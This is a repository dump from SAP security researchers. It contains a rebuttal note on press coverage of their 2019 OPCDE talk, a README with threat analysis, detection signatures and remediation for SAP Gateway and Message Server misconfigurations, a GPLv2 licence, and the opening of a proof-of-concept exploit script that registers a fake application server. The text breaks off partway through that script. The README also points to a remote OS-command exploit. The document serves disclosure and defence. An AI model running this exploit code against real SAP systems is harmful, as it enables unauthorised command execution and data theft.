├── 10KBLAZE.md ├── COPYING ├── README.md ├── requirements.txt ├── sap_ms_betrusted.py ├── sap_ms_dispatcher_mitm.py ├── sap_ms_monitor_storage.py ├── twitter.gif └── videos ├── SAP_Dispatcher_MITM.mp4 └── SAP_Gateway_BeTrusted_RCE.mp4 /10KBLAZE.md: -------------------------------------------------------------------------------- 1 | # Some notes regarding the news release after SAP OPCDE talk 2 | 3 | 4 | 5 | - Research process and vuln disclosure 6 | - What we pointed out 7 | - Conditions of exploitation 8 | - Gateway 9 | - Message Server 10 | - Incentive 11 | - News analysis 12 | - FUD and ethic 13 | 14 | 15 | 16 | 17 | When reading different news report[[1]](https://www.reuters.com/article/us-sap-security/50000-companies-exposed-to-hacks-of-business-critical-sap-systems-researchers-idUSKCN1S80VJ) [[2]](https://www.computing.co.uk/ctg/news/3075298/sap-10kblaze-critical-security-flaw) [[3]](https://www.zdnet.com/article/50000-enterprise-firms-running-sap-software-vulnerable-to-attack/) on [our research presentation](https://github.com/comaeio/OPCDE/blob/master/2019/Emirates/(SAP)%20Gateway%20to%20Heaven%20-%20Dmitry%20Chastuhin%2C%20Mathieu%20Geli/(SAP)%20Gateway%20to%20Heaven.pdf) at OPCDE Dubai 2019, we had the following impression: two random hacker guys released on the darknet some 0-day targeting the world’s stability. 18 | 19 | 20 | ## Research process and vuln disclosure 21 | 22 | 23 | We feel this is not fair as one of the implication is that it poses a threat on ourselves as security researchers, then on our actual employers that are not involved in this research, and finally on the security research process where disclosing responsibly vulnerabilities and proof of concepts is part of it. We are well known from SAP and [regularly acknowledged](https://wiki.scn.sap.com/wiki/pages/viewpage.action?pageId=451071888) for reporting security issues. We did everything according to usual guidelines on vulnerability disclosure especially with a critical vendor like SAP where there are additional safeguards to respect. Moreover SAP has had our slides beforehand and agreed on their publication. 24 | 25 | 26 | ## What we pointed out with our research 27 | 28 | 29 | This research describes misuse of two misconfigurations in SAP systems core components: SAP Gateway and SAP Message Server. Those misconfigurations contains secure guidelines for several years now ([1408081](https://launchpad.support.sap.com/#/notes/1408081), [821875](https://launchpad.support.sap.com/#/notes/821875), [1421005](https://launchpad.support.sap.com/#/notes/1421005)). The highlight of our talk is based on the fact that one of the two misconfiguration is still deployed on new servers (note, that SAP explains how to harden it for a long time already). That DOES NOT directly imply the SAP servers are vulnerable to the described attack, from internet, or even from the local corporate network. 30 | 31 | 32 | ## Conditions of exploitation 33 | 34 | ### Gateway 35 | 36 | 37 | The first old misconfiguration regarding the Gateway is the one that has nearly disappeared from our experience as SAP auditors (and confirmed by other specialists [here](https://www.serpenteq.com/en/blog/10KBlaze.html) ). The default configuration is for years secure by default. Our additional value here is to provide proof of concept open source code. About our internet world map on Gateway, it is here to show the that backend systems can be available from the internet. We noticed that most likely exposed systems where probably used for development or testing (deduction from hostname and SID when available). 38 | 39 | 40 | ### Message Server 41 | 42 | 43 | On the second misconfiguration regarding the Message Server, several conditions need to be validated for a successful exploitation (following article https://www.serpenteq.com/en/blog/10KBlaze.html list them well). Additionally if even those conditions are presents, the attacker will have another issue: our code released is a proof of concept with a lot of wild guesses and hardcoded data. The code is far from being usable as-is as a mass attacking tool. Running this in production system may generate side-effects artifacts that will be quickly visible and won’t need security monitoring tools to get attention of administrators. 44 | 45 | 46 | ## Incentive 47 | 48 | 49 | Why did we release our research publicly? 50 | 51 | SAP published for several years already hardening guides on those configuration files and associated risk. But what is the situation now? Some companies are making a big profit out of this knowledge, but global security situation does not change. SAP assets are hosting critical information. They should be the first being secured by multi layered security. With this release we want to make the difference by pointing out issues, and giving concrete example that will be directly actionable for security teams. We feel the remediation job is doable in a timely manner as those issues do not imply deploying new code. What they require instead is to know about their SAP assets. 52 | 53 | We are assured of the benefits of spreading this knowledge in public than keeping it in the hand of some private companies after all this time since guidelines were published. We prefer to think that SAP security level just raised by having defenders knowing now what to defend for and asses their posture in an independent manner. 54 | 55 | Moreover, we did not just released PoC, we provided improvements to the publicly accessible Python library [pysap](https://github.com/SecureAuthCorp/pysap) that helps researchers work with various protocols used in SAP. 56 | 57 | 58 | ## News analysis 59 | 60 | 61 | The most relayed news articles do some quick shortcut that helps propagate fear: taking the number of SAP clients, taking as granted insecure configurations and that our tools are 100% reliable. They don’t go into details about conditions required for all of that to happen. Additionally there is the assumption that no one had already this knowledge nor there is any malicious actor eventually able to get this knowledge on their own. 62 | Keeping the knowledge and exploits in-house (as Onapsis did) does not help to increase the security posture of the SAP customers but instead works on the model of "security through obscurity". 63 | 64 | On all the articles you can find, the only news company that have been in contact with us is Reuters. Unfortunately it was not possible to know in advance details of the resulting article and our requests for clarifications and edits after publication were unsuccessful. 65 | 66 | ## FUD and ethic 67 | 68 | 69 | The will of companies to make money combined with the desire of some journalists to write a traffic-generating article with clickbait titles leads us to the fact that every day we have to read news that the next trillion systems / devices were hacked, although in fact someone just found double-blind- self-xss (this is a fictional name) on a forgotten domain of a well-known company 70 | 71 | In our case, everything turned out to be much worse. Onapsis did not just release a frightening press release that 9 out of 10 are vulnerable describing our research, but also came up with the name 10KBlaze (where is our logo and dedicated domain?) for our PoCs without specifying any direct links to the original research. 72 | 73 | Those 9 out of 10 might be a wild guess from Onapsis' customer base, We are sure it does not represent the universe of all SAP customers. Onapsis' customers probably are hiring them because they need security advise and are probably not representative of the overall status of security. 74 | 75 | A simple search on the hashtag #10KBlaze shows how much Onapsis wants the community to find out about our work, without mentioning us. 76 | 77 | 78 | ![twit](twitter.gif) 79 | 80 | 81 | Did they have the right to do that? Of course! Is it ethical? We do not think so. 82 | 83 | We don't like FUD, we believe in facts. PoC or GTFO. 84 | 85 | 86 | Dmitry Chastuhin & Mathieu Geli 87 | 88 | 89 | -------------------------------------------------------------------------------- /COPYING: -------------------------------------------------------------------------------- 1 | GNU GENERAL PUBLIC LICENSE 2 | Version 2, June 1991 3 | 4 | Copyright (C) 1989, 1991 Free Software Foundation, Inc. 5 | 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA 6 | Everyone is permitted to copy and distribute verbatim copies 7 | of this license document, but changing it is not allowed. 8 | 9 | Preamble 10 | 11 | The licenses for most software are designed to take away your 12 | freedom to share and change it. By contrast, the GNU General Public 13 | License is intended to guarantee your freedom to share and change free 14 | software--to make sure the software is free for all its users. This 15 | General Public License applies to most of the Free Software 16 | Foundation's software and to any other program whose authors commit to 17 | using it. (Some other Free Software Foundation software is covered by 18 | the GNU Library General Public License instead.) You can apply it to 19 | your programs, too. 20 | 21 | When we speak of free software, we are referring to freedom, not 22 | price. Our General Public Licenses are designed to make sure that you 23 | have the freedom to distribute copies of free software (and charge for 24 | this service if you wish), that you receive source code or can get it 25 | if you want it, that you can change the software or use pieces of it 26 | in new free programs; and that you know you can do these things. 27 | 28 | To protect your rights, we need to make restrictions that forbid 29 | anyone to deny you these rights or to ask you to surrender the rights. 30 | These restrictions translate to certain responsibilities for you if you 31 | distribute copies of the software, or if you modify it. 32 | 33 | For example, if you distribute copies of such a program, whether 34 | gratis or for a fee, you must give the recipients all the rights that 35 | you have. You must make sure that they, too, receive or can get the 36 | source code. And you must show them these terms so they know their 37 | rights. 38 | 39 | We protect your rights with two steps: (1) copyright the software, and 40 | (2) offer you this license which gives you legal permission to copy, 41 | distribute and/or modify the software. 42 | 43 | Also, for each author's protection and ours, we want to make certain 44 | that everyone understands that there is no warranty for this free 45 | software. If the software is modified by someone else and passed on, we 46 | want its recipients to know that what they have is not the original, so 47 | that any problems introduced by others will not reflect on the original 48 | authors' reputations. 49 | 50 | Finally, any free program is threatened constantly by software 51 | patents. We wish to avoid the danger that redistributors of a free 52 | program will individually obtain patent licenses, in effect making the 53 | program proprietary. To prevent this, we have made it clear that any 54 | patent must be licensed for everyone's free use or not licensed at all. 55 | 56 | The precise terms and conditions for copying, distribution and 57 | modification follow. 58 | 59 | GNU GENERAL PUBLIC LICENSE 60 | TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION 61 | 62 | 0. This License applies to any program or other work which contains 63 | a notice placed by the copyright holder saying it may be distributed 64 | under the terms of this General Public License. The "Program", below, 65 | refers to any such program or work, and a "work based on the Program" 66 | means either the Program or any derivative work under copyright law: 67 | that is to say, a work containing the Program or a portion of it, 68 | either verbatim or with modifications and/or translated into another 69 | language. (Hereinafter, translation is included without limitation in 70 | the term "modification".) Each licensee is addressed as "you". 71 | 72 | Activities other than copying, distribution and modification are not 73 | covered by this License; they are outside its scope. The act of 74 | running the Program is not restricted, and the output from the Program 75 | is covered only if its contents constitute a work based on the 76 | Program (independent of having been made by running the Program). 77 | Whether that is true depends on what the Program does. 78 | 79 | 1. You may copy and distribute verbatim copies of the Program's 80 | source code as you receive it, in any medium, provided that you 81 | conspicuously and appropriately publish on each copy an appropriate 82 | copyright notice and disclaimer of warranty; keep intact all the 83 | notices that refer to this License and to the absence of any warranty; 84 | and give any other recipients of the Program a copy of this License 85 | along with the Program. 86 | 87 | You may charge a fee for the physical act of transferring a copy, and 88 | you may at your option offer warranty protection in exchange for a fee. 89 | 90 | 2. You may modify your copy or copies of the Program or any portion 91 | of it, thus forming a work based on the Program, and copy and 92 | distribute such modifications or work under the terms of Section 1 93 | above, provided that you also meet all of these conditions: 94 | 95 | a) You must cause the modified files to carry prominent notices 96 | stating that you changed the files and the date of any change. 97 | 98 | b) You must cause any work that you distribute or publish, that in 99 | whole or in part contains or is derived from the Program or any 100 | part thereof, to be licensed as a whole at no charge to all third 101 | parties under the terms of this License. 102 | 103 | c) If the modified program normally reads commands interactively 104 | when run, you must cause it, when started running for such 105 | interactive use in the most ordinary way, to print or display an 106 | announcement including an appropriate copyright notice and a 107 | notice that there is no warranty (or else, saying that you provide 108 | a warranty) and that users may redistribute the program under 109 | these conditions, and telling the user how to view a copy of this 110 | License. (Exception: if the Program itself is interactive but 111 | does not normally print such an announcement, your work based on 112 | the Program is not required to print an announcement.) 113 | 114 | These requirements apply to the modified work as a whole. If 115 | identifiable sections of that work are not derived from the Program, 116 | and can be reasonably considered independent and separate works in 117 | themselves, then this License, and its terms, do not apply to those 118 | sections when you distribute them as separate works. But when you 119 | distribute the same sections as part of a whole which is a work based 120 | on the Program, the distribution of the whole must be on the terms of 121 | this License, whose permissions for other licensees extend to the 122 | entire whole, and thus to each and every part regardless of who wrote it. 123 | 124 | Thus, it is not the intent of this section to claim rights or contest 125 | your rights to work written entirely by you; rather, the intent is to 126 | exercise the right to control the distribution of derivative or 127 | collective works based on the Program. 128 | 129 | In addition, mere aggregation of another work not based on the Program 130 | with the Program (or with a work based on the Program) on a volume of 131 | a storage or distribution medium does not bring the other work under 132 | the scope of this License. 133 | 134 | 3. You may copy and distribute the Program (or a work based on it, 135 | under Section 2) in object code or executable form under the terms of 136 | Sections 1 and 2 above provided that you also do one of the following: 137 | 138 | a) Accompany it with the complete corresponding machine-readable 139 | source code, which must be distributed under the terms of Sections 140 | 1 and 2 above on a medium customarily used for software interchange; or, 141 | 142 | b) Accompany it with a written offer, valid for at least three 143 | years, to give any third party, for a charge no more than your 144 | cost of physically performing source distribution, a complete 145 | machine-readable copy of the corresponding source code, to be 146 | distributed under the terms of Sections 1 and 2 above on a medium 147 | customarily used for software interchange; or, 148 | 149 | c) Accompany it with the information you received as to the offer 150 | to distribute corresponding source code. (This alternative is 151 | allowed only for noncommercial distribution and only if you 152 | received the program in object code or executable form with such 153 | an offer, in accord with Subsection b above.) 154 | 155 | The source code for a work means the preferred form of the work for 156 | making modifications to it. For an executable work, complete source 157 | code means all the source code for all modules it contains, plus any 158 | associated interface definition files, plus the scripts used to 159 | control compilation and installation of the executable. However, as a 160 | special exception, the source code distributed need not include 161 | anything that is normally distributed (in either source or binary 162 | form) with the major components (compiler, kernel, and so on) of the 163 | operating system on which the executable runs, unless that component 164 | itself accompanies the executable. 165 | 166 | If distribution of executable or object code is made by offering 167 | access to copy from a designated place, then offering equivalent 168 | access to copy the source code from the same place counts as 169 | distribution of the source code, even though third parties are not 170 | compelled to copy the source along with the object code. 171 | 172 | 4. You may not copy, modify, sublicense, or distribute the Program 173 | except as expressly provided under this License. Any attempt 174 | otherwise to copy, modify, sublicense or distribute the Program is 175 | void, and will automatically terminate your rights under this License. 176 | However, parties who have received copies, or rights, from you under 177 | this License will not have their licenses terminated so long as such 178 | parties remain in full compliance. 179 | 180 | 5. You are not required to accept this License, since you have not 181 | signed it. However, nothing else grants you permission to modify or 182 | distribute the Program or its derivative works. These actions are 183 | prohibited by law if you do not accept this License. Therefore, by 184 | modifying or distributing the Program (or any work based on the 185 | Program), you indicate your acceptance of this License to do so, and 186 | all its terms and conditions for copying, distributing or modifying 187 | the Program or works based on it. 188 | 189 | 6. Each time you redistribute the Program (or any work based on the 190 | Program), the recipient automatically receives a license from the 191 | original licensor to copy, distribute or modify the Program subject to 192 | these terms and conditions. You may not impose any further 193 | restrictions on the recipients' exercise of the rights granted herein. 194 | You are not responsible for enforcing compliance by third parties to 195 | this License. 196 | 197 | 7. If, as a consequence of a court judgment or allegation of patent 198 | infringement or for any other reason (not limited to patent issues), 199 | conditions are imposed on you (whether by court order, agreement or 200 | otherwise) that contradict the conditions of this License, they do not 201 | excuse you from the conditions of this License. If you cannot 202 | distribute so as to satisfy simultaneously your obligations under this 203 | License and any other pertinent obligations, then as a consequence you 204 | may not distribute the Program at all. For example, if a patent 205 | license would not permit royalty-free redistribution of the Program by 206 | all those who receive copies directly or indirectly through you, then 207 | the only way you could satisfy both it and this License would be to 208 | refrain entirely from distribution of the Program. 209 | 210 | If any portion of this section is held invalid or unenforceable under 211 | any particular circumstance, the balance of the section is intended to 212 | apply and the section as a whole is intended to apply in other 213 | circumstances. 214 | 215 | It is not the purpose of this section to induce you to infringe any 216 | patents or other property right claims or to contest validity of any 217 | such claims; this section has the sole purpose of protecting the 218 | integrity of the free software distribution system, which is 219 | implemented by public license practices. Many people have made 220 | generous contributions to the wide range of software distributed 221 | through that system in reliance on consistent application of that 222 | system; it is up to the author/donor to decide if he or she is willing 223 | to distribute software through any other system and a licensee cannot 224 | impose that choice. 225 | 226 | This section is intended to make thoroughly clear what is believed to 227 | be a consequence of the rest of this License. 228 | 229 | 8. If the distribution and/or use of the Program is restricted in 230 | certain countries either by patents or by copyrighted interfaces, the 231 | original copyright holder who places the Program under this License 232 | may add an explicit geographical distribution limitation excluding 233 | those countries, so that distribution is permitted only in or among 234 | countries not thus excluded. In such case, this License incorporates 235 | the limitation as if written in the body of this License. 236 | 237 | 9. The Free Software Foundation may publish revised and/or new versions 238 | of the General Public License from time to time. Such new versions will 239 | be similar in spirit to the present version, but may differ in detail to 240 | address new problems or concerns. 241 | 242 | Each version is given a distinguishing version number. If the Program 243 | specifies a version number of this License which applies to it and "any 244 | later version", you have the option of following the terms and conditions 245 | either of that version or of any later version published by the Free 246 | Software Foundation. If the Program does not specify a version number of 247 | this License, you may choose any version ever published by the Free Software 248 | Foundation. 249 | 250 | 10. If you wish to incorporate parts of the Program into other free 251 | programs whose distribution conditions are different, write to the author 252 | to ask for permission. For software which is copyrighted by the Free 253 | Software Foundation, write to the Free Software Foundation; we sometimes 254 | make exceptions for this. Our decision will be guided by the two goals 255 | of preserving the free status of all derivatives of our free software and 256 | of promoting the sharing and reuse of software generally. 257 | 258 | NO WARRANTY 259 | 260 | 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY 261 | FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN 262 | OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES 263 | PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED 264 | OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF 265 | MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS 266 | TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE 267 | PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, 268 | REPAIR OR CORRECTION. 269 | 270 | 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING 271 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR 272 | REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, 273 | INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING 274 | OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED 275 | TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY 276 | YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER 277 | PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE 278 | POSSIBILITY OF SUCH DAMAGES. 279 | 280 | END OF TERMS AND CONDITIONS 281 | 282 | How to Apply These Terms to Your New Programs 283 | 284 | If you develop a new program, and you want it to be of the greatest 285 | possible use to the public, the best way to achieve this is to make it 286 | free software which everyone can redistribute and change under these terms. 287 | 288 | To do so, attach the following notices to the program. It is safest 289 | to attach them to the start of each source file to most effectively 290 | convey the exclusion of warranty; and each file should have at least 291 | the "copyright" line and a pointer to where the full notice is found. 292 | 293 | 294 | Copyright (C) 295 | 296 | This program is free software; you can redistribute it and/or modify 297 | it under the terms of the GNU General Public License as published by 298 | the Free Software Foundation; either version 2 of the License, or 299 | (at your option) any later version. 300 | 301 | This program is distributed in the hope that it will be useful, 302 | but WITHOUT ANY WARRANTY; without even the implied warranty of 303 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 304 | GNU General Public License for more details. 305 | 306 | You should have received a copy of the GNU General Public License 307 | along with this program; if not, write to the Free Software 308 | Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA 309 | 310 | 311 | Also add information on how to contact you by electronic and paper mail. 312 | 313 | If the program is interactive, make it output a short notice like this 314 | when it starts in an interactive mode: 315 | 316 | Gnomovision version 69, Copyright (C) year name of author 317 | Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'. 318 | This is free software, and you are welcome to redistribute it 319 | under certain conditions; type `show c' for details. 320 | 321 | The hypothetical commands `show w' and `show c' should show the appropriate 322 | parts of the General Public License. Of course, the commands you use may 323 | be called something other than `show w' and `show c'; they could even be 324 | mouse-clicks or menu items--whatever suits your program. 325 | 326 | You should also get your employer (if you work as a programmer) or your 327 | school, if any, to sign a "copyright disclaimer" for the program, if 328 | necessary. Here is a sample; alter the names: 329 | 330 | Yoyodyne, Inc., hereby disclaims all copyright interest in the program 331 | `Gnomovision' (which makes passes at compilers) written by James Hacker. 332 | 333 | , 1 April 1989 334 | Ty Coon, President of Vice 335 | 336 | This General Public License does not permit incorporating your program into 337 | proprietary programs. If your program is a subroutine library, you may 338 | consider it more useful to permit linking proprietary applications with the 339 | library. If this is what you want to do, use the GNU Library General 340 | Public License instead of this License. -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | SAP Message Server research 2 | --------------------------- 3 | 4 | Copyright (c) 2018-2019 by Mathieu Geli, Dmitry Chastuhin 5 | 6 | Proof of concept code for two new attacks on the SAP Message Server component: 7 | 8 | - Logon Group (transparent) Hijacking : `sap_ms_dispatcher_mitm.py` 9 | - BeTrusted: `sap_ms_betrusted.py` 10 | 11 | with an utility for SAP MS storage monitoring. 12 | 13 | ## Presentation 14 | 15 | ### OPCDE 2019 Dubai: 16 | 17 | The slides of the presentation are available 18 | [here](https://github.com/comaeio/OPCDE/blob/master/2019/Emirates/(SAP)%20Gateway%20to%20Heaven%20-%20Dmitry%20Chastuhin%2C%20Mathieu%20Geli/(SAP)%20Gateway%20to%20Heaven.pdf) 19 | 20 | ## Threat analysis 21 | 22 | Recent news coverage can be misleading for non SAP-savvy IT 23 | responsible and is missing some threat analysis on our publication. 24 | 25 | ### Gateway issue 26 | 27 | This is issue is known publicly since 2007, and securing guidelines 28 | were published by SAP since 2009. From our experience this issue has 29 | mostly disappeared as servers are updated, and old one are being 30 | secured. 31 | 32 | When the issue is present, with the code released by my ex-colleague 33 | Dmitry Chastuhin [here](https://github.com/chipik/SAP_GW_RCE_exploit), 34 | it is possible to run OS commands on the remote server via anonymous 35 | network access. 36 | 37 | In order to get access to business data, the attacker need to have 38 | specific SAP internals knowledge. A script kiddie/automated tool will 39 | barely launch a cryptocurrency miner. 40 | 41 | ### Message Server issue 42 | 43 | This is the enabler for bypassing the secure Gateway configuration. 44 | 45 | The issue relies on the Message Server ACL file that is too open 46 | (`HOST=*`) by default. SAP first published in 2005 guideline on 47 | building secure ACL files (basically writing your AS names instead of 48 | `*`). 49 | 50 | Published PoC `sap_ms_betrusted.py` is not reliable and highly 51 | dependant on SAP kernel version. It means success is not ensured even 52 | if the proper version is implemented. Having something stable will 53 | require a good amount of SAP and reverse engineering expertise. 54 | 55 | As we explained in our presentation, lab testing was done using full 56 | SAP server as the attacker's host, so an attacker do not need our 57 | python script to gain successful exploitation. 58 | 59 | ## Exploitation detection 60 | 61 | Those measures allow to track sign of exploitation. 62 | 63 | ### Gateway activity 64 | 65 | - Monitor gateway access and transactions executed: SAPXPG is the 66 | transaction program to look for, used in our `SAPanonGW` PoC to run 67 | OS command. Gateway developer logs are stored in the `dev_rd` file 68 | and application logs can be configured via transaction SMGW. 69 | - Network traffic analysis for discovering untrusted sources 70 | connecting to gateway port (tcp/33NN) 71 | 72 | Security firms already published 73 | [signatures](https://go.onapsis.com/l/127021/2019-05-01/3rjysj/127021/123429/10KBLAZE_snort_rules.zip) 74 | to detect this specific attack. As any signature-based measure it 75 | could be bypassed and should not be taken as a silver bullet for 76 | detection, but still is better than nothing. 77 | 78 | ### Message server activity 79 | 80 | - The `dev_ms` developer log file stores connection information on the Message 81 | Server 82 | - You can have a real-time view by using transaction `SMMS` via SAP 83 | GUI 84 | - Network traffic analysis for discovering untrusted sources 85 | connecting to the Message Server internal port tcp/39NN 86 | 87 | As for the gateway, NIDS signatures could be built by matching the 88 | string `_SEND_NILIST` with: 89 | 90 | - src host: SAP server 91 | - src port: 39NN 92 | - dest host: not SAP server VLAN 93 | 94 | ## Remediation 95 | 96 | ### Gateway 97 | - Secure your Gateway ACL pointed by profile parameter `gw/sec_info` 98 | with help of SAP note 1408081 99 | - Filter out access from untrusted sources to the Gateway (port tcp/33NN) 100 | 101 | ### Message Server 102 | 103 | - Implement secure Message Server ACL in the file pointed by the 104 | profile parameter `ms/acl_info`, that will help you restrict within 105 | the SAP server VLAN only those authorized to connect to. See SAP 106 | notes 821875 and 1421005 107 | - Filter out access from untrusted sources to the Message Server 108 | **internal** port (tcp/39NN) of all your SAP instances 109 | 110 | ## Assessment 111 | 112 | You should make sure you know all your assets, especially those that 113 | are internet exposed. 114 | 115 | ### Gateway threat 116 | 117 | You can check all your landscape with the [anonGW 118 | code](https://github.com/chipik/SAP_GW_RCE_exploit) by trying to 119 | execute for instance OS command `whoami` 120 | 121 | ### Message Server threat 122 | 123 | Assessing this one is a bit more tricky, as the "be_trusted" PoC is 124 | not 100% reliable and may have side effects on Logon Group 125 | availability. We strongly do not advise testing on production systems. 126 | 127 | If you really want to showcase that during a blackbox assessment, you 128 | better choose a landscape that is not user-facing. 129 | 130 | For whitebox, you can assume the issue exists if both condition are 131 | met: 132 | 133 | - The file pointed by the `ms/acl_info` profile parameter contains 134 | `HOST=*` 135 | - The MS internal port tcp/39NN is available from the user VLAN 136 | - The Gateway port tcp/33NN is available from the user VLAN 137 | 138 | Moreover you can use scripts from SecureAuth's Martin Gallo 139 | `ms_dump_info.py` and `ms_dump_param.py` to remotely check profile 140 | parameters against the Message Server internal port, as described in 141 | this thread 142 | https://twitter.com/MartinGalloAr/status/1124347630555938820 143 | 144 | 145 | ## Internet 146 | 147 | What about those world maps with scary numbers? 148 | 149 | That is SAP specialized TCP SYN scans to detect presence of a specific 150 | SAP service (here SAP Gateway, SAP Router, SAP Message Server) behind 151 | a certain port. That DOES NOT imply that the services are affected by 152 | the discussed vulnerabilities. It is here to help quantify the 153 | "external threat" and show that backend servers holding usually 154 | sensitive data can be exposed via internet. 155 | 156 | That is specialized in a way that usual search scan engines like 157 | [shodan](http://shodan.io), [censys](http://censys.io), 158 | [zoomeye](http://zoomeye.org) or [onyphe](http://onyphe.io) does not 159 | **yet** fully provide this information. 160 | 161 | ## Links 162 | 163 | At the moment the only article we think is valuable to be read is this 164 | one. 165 | 166 | - https://www.serpenteq.com/en/blog/10KBlaze.html : "10KBLAZE - HYPE & SCAREMONGERING" 167 | 168 | All the other articles related to our research looks like news orders 169 | with sole interviewee a company which is selling SAP security tools 170 | and consultancy. 171 | 172 | ## Greetz 173 | 174 | - [Martin Gallo](https://twitter.com/MartinGalloAr/) for all his 175 | [pysap](https://github.com/SecureAuthCorp/pysap) work and advices 176 | - [Joris van de Vis](https://twitter.com/jvis/) for feedback on testing 177 | - Onapsis for spreading FUD and the `10KBLAZE` name that does not link 178 | back to this research 179 | -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | pysap 2 | -------------------------------------------------------------------------------- /sap_ms_betrusted.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # =========== 3 | # pysap - Python library for crafting SAP's network protocols packets 4 | # 5 | # Copyright (C) 2018-2019 by Mathieu @gelim Geli 6 | # 7 | # The library was designed and developed by Mathieu Geli from 8 | # ERPScan Corporation's Labs team. 9 | # 10 | # This program is free software; you can redistribute it and/or 11 | # modify it under the terms of the GNU General Public License 12 | # as published by the Free Software Foundation; either version 2 13 | # of the License, or (at your option) any later version. 14 | # 15 | # This program is distributed in the hope that it will be useful, 16 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 17 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 18 | # GNU General Public License for more details. 19 | # ============== 20 | 21 | from pysap.SAPNI import SAPNI,SAPNIStreamSocket 22 | from pysap.SAPMS import SAPMS,SAPMSProperty,SAPMSLogon,SAPMSClient4,SAPMSAdmRecord 23 | from pysap.SAPMS import SAPDPInfo1,SAPDPInfo2,SAPDPInfo3 24 | from pysap.SAPMS import ms_flag_values,ms_iflag_values,ms_opcode_values 25 | from pysap.SAPMS import ms_client_status_values,ms_opcode_error_values 26 | from pysap.SAPMS import ms_adm_opcode_values, ms_adm_rzl_strg_type_values 27 | from pysap.SAPDiag import SAPDiag, SAPDiagDP 28 | from pysap.SAPDiagItems import * 29 | from scapy.supersocket import StreamSocket 30 | from scapy.sendrecv import sniff 31 | from scapy.utils import hexdump,inet_ntoa,inet_aton 32 | from scapy.packet import bind_layers 33 | from scapy.layers.inet import TCP,Raw 34 | from scapy.config import conf 35 | from ansicolor import red,green,blue,yellow,cyan,magenta 36 | from pprint import pprint 37 | import subprocess 38 | import argparse 39 | import datetime 40 | import tempfile 41 | import logging 42 | import socket 43 | import struct 44 | import random 45 | import signal 46 | import time 47 | import sys 48 | import os 49 | import re 50 | 51 | 52 | help_desc = ''' 53 | Resgiter our fake AS via Message Server to be trusted by remote gateway. 54 | This requires network access to the MS internal port 39NN. 55 | -- gelim 56 | ''' 57 | 58 | def sigint_handler(signal, frame): 59 | ms_logout(s) 60 | exit(0) 61 | 62 | # Init logging subsystem 63 | # name = will be used as part of filename 64 | # (and internal name for logger) 65 | def init_logger(logname, level): 66 | # generic log conf 67 | logger = logging.getLogger(logname) 68 | logger.setLevel(level) 69 | file_format = logging.Formatter("%(asctime)s [%(levelname)-6s] %(message)s") 70 | console_format = logging.Formatter("[%(levelname)-5s] %(message)s") 71 | # console handler 72 | ch = logging.StreamHandler(sys.stdout) 73 | ch.setLevel(level) 74 | ch.setFormatter(console_format) 75 | logger.addHandler(ch) 76 | 77 | # file handler 78 | # using parent pid in filename to have 'session'-like log files 79 | logfile="%s/%s_%d.log" % (tempfile.gettempdir(), logname, os.getppid()) 80 | fh = logging.FileHandler(logfile, "a") 81 | fh.setLevel(level) 82 | fh.setFormatter(file_format) 83 | logger.addHandler(fh) 84 | return logger 85 | 86 | def net_get_ip(): 87 | return [(s.connect(('8.8.8.8', 53)), 88 | s.getsockname()[0], 89 | s.close()) for s in [socket.socket(socket.AF_INET, socket.SOCK_DGRAM)]][0][1] 90 | 91 | def gen_ms_servername(host, sid, instance): 92 | ms_fromname_len = 40 # hardcoded stuff 93 | as_name = '%s_%s_%s' % (host, sid, instance) 94 | num_space = 40 - len(as_name) 95 | if num_space < 0: 96 | logger.error("[!] You have a hostname too long (hostname: %s)" % host) 97 | logger.error(" Shorten it by %d chars at least " % -num_space) 98 | exit(1) 99 | as_name += ' '*num_space 100 | return as_name 101 | 102 | def ms_build_del_logon_by_type(type): 103 | return SAPMS(toname=msg_server_name, 104 | fromname=my_name, 105 | flag='MS_REQUEST', 106 | iflag='MS_SEND_NAME', 107 | opcode='MS_DEL_LOGON', 108 | logon=SAPMSLogon(type=type, 109 | logonname_length=0, 110 | prot_length=0, 111 | host_length=0, 112 | misc_length=0, 113 | address6_length=65535)) 114 | 115 | def ms_build_set_logon(ptype, serv_info): 116 | if ptype == 'diag': 117 | logon_type = 'MS_LOGON_DIAG' 118 | port = serv_info['diag_port'] 119 | elif ptype == 'rfc': 120 | logon_type = 'MS_LOGON_RFC' 121 | port = serv_info['rfc_port'] 122 | address = serv_info['ip'] 123 | host = serv_info['fqdn'] 124 | 125 | p = SAPMS(fromname=my_name, 126 | toname=msg_server_name, 127 | flag='MS_REQUEST', 128 | iflag='MS_SEND_NAME', 129 | opcode='MS_SET_LOGON', 130 | 